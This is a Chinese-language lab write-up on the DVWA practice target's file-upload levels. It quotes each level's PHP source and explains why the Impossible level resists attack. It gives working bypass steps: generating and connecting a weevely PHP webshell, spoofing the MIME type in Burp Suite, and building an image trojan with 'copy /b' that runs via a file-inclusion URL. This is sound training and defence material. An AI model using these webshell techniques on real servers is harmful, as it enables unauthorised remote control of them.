DVWA靶机学习——File Upload(文件上传)

这个系列是学习DVWA靶机的。今天学习File Upload的Low、Medium、High、Impossible级别。

Posted by K4ys0n on July 15, 2020

0x00 File Upload(文件上传)

File Upload即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得可以通过上传webshell获取服务器权限,因此文件上传漏洞带来的危害常常是毁灭性的。

0x01 Low

源码分析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

basename(path, suffix)返回path中的文件名部分,如果可选参数suffix为空,则返回的文件名中包含后缀名,反之不包含后缀名。

这里并没有过滤文件后缀名或其他防御措施。

解题思路

直接上传webshell,用菜刀或weevely连接。 weevely 生成webshell。 kali Linux终端输入:

weevely generate pass 1.php		# 在当前路径下生成1.php文件,密码是pass

然后到DVWA上传1.php文件,再到终端输入:
weevely "http://ip地址/dvwa/hackable/uploads/1.php" pass
连接后输入:
system_info		# 可以查看系统信息
shell_sh [cmd]	# cmd是shell命令,如dir
...

0x02 Medium

源码分析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

在Low级别的基础上,多判断了HTTP头中的MIME类型,并限制了文件大小为10000字节。

解题思路

上传文件的时候Burpsuite拦截,修改MIME类型为image/jpeg或image/png即可,即修改HTTP头的第二个Content-Type为image/jpeg或image/png。

weevely 生成webshell。 kali Linux终端输入:

weevely generate pass 1.php		# 在当前路径下生成1.php文件,密码是pass

然后到DVWA上传1.php文件,再到终端输入:
weevely "http://ip地址/dvwa/hackable/uploads/1.php" pass
连接后输入:
system_info		# 可以查看系统信息
shell_sh [cmd]	# cmd是shell命令,如dir
...

0x03 High

源码分析

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?> 

strrpos(string,find,start)函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定开始搜索的位置。

getimagesize(string filename)函数则会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

所以,High级别下会先读取文件名中最后一个”.”后的字符串作为文件后缀来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”.png”之一。同时,getimagesize函数限制了上传文件的文件头必须为图片类型。

此时本来可以利用Apache的解析漏洞,文件命名为1.php%002.jpg进行%00截断,绕过strrpos对文件后缀的检查,但是行不通的。因为还要检查图片头格式,所以这里将使用图片木马的方式,直接生成图片木马,然后利用文件包含漏洞包含到php文件中进行利用。

解题思路

1、首先需要生成一个文件头为图片类型的php文件,有两种方法:

  • 一种是windows命令行使用copy命令将木马文件1.php与图片文件2.jpg
    copy 2.jpg/b+1.php/a 3.jpg
    
  • 另一种是使用edjpgcom.exe,将图片文件该exe文件上,即可弹出窗口,在弹出窗口输入一句话木马保存即可。

2、上传成功后,利用文件包含漏洞,用菜刀连接下述url即可。

http://ip地址/dvwa/vulnerabilities/fi/?page=file:///[网站绝对路径]/dvwa/hackable/uploads/3.jpg
如:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:/php/phpStudy_64/phpstudy_pro/WWW/dvwa/hackable/uploads/3.jpg

0x04 Impossible

源码分析

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();
?>

从源码中可以看出对上传的文件做了非常严格的检查、图片格式转换以及重命名。

1、首先是checkToken检查token值,以防止CSRF漏洞利用。

2、接着用uniqid函数生成随机的唯一字符串,与上传时的文件名拼接,进行MD5哈希,生成复杂文件名,以防止%00截断。

md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext

3、后缀名白名单检查以及文件大小限制,只限制jpg、jpeg、png后缀的文件上传。

4、图片头检查及图片内容迁移

  • imagecreatefromjpeg ( filename )函数会检查图片文件的图像标识,成功则返回图像标识,否则返回false。
  • imagejpeg ( image , filename , quality)函数创建jpeg图像,从image图像以filename为文件名创建一个JPEG图像,参数quality,取值0~100,0为失真最严重,但文件更小;100失真最小,文件更大。
  • imagecreatefrompng和imagepng同上。
  • imagedestroy( img )函数用于销毁图像资源。

根据MIME标识,将jpeg(包括jpg)或png图片内容转移至临时文件,销毁原来上传的文件,这样保证图片文件内容格式的完整。

5、重命名 用步骤2中生成的复杂字符串作为新的文件名,保存步骤4的图片内容到文件。

解题思路

无。

0x05 小结

防御方法:

  • CSRF token防御CSRF攻击。
  • 白名单检查文件后缀、MIME等,防止黑名单遗漏后缀名被绕过。
  • 文件重命名,用时间、旧文件名等加盐(自设的一段字符串)哈希(md5、sha1、sha256等),以防%00截断绕过。
  • 限制大小,以防上传大马。
  • 对文件内容严格检查,图片头、内容等的完整性检查,重新生成文件保存。

0x06 参考

https://www.freebuf.com/articles/web/119467.html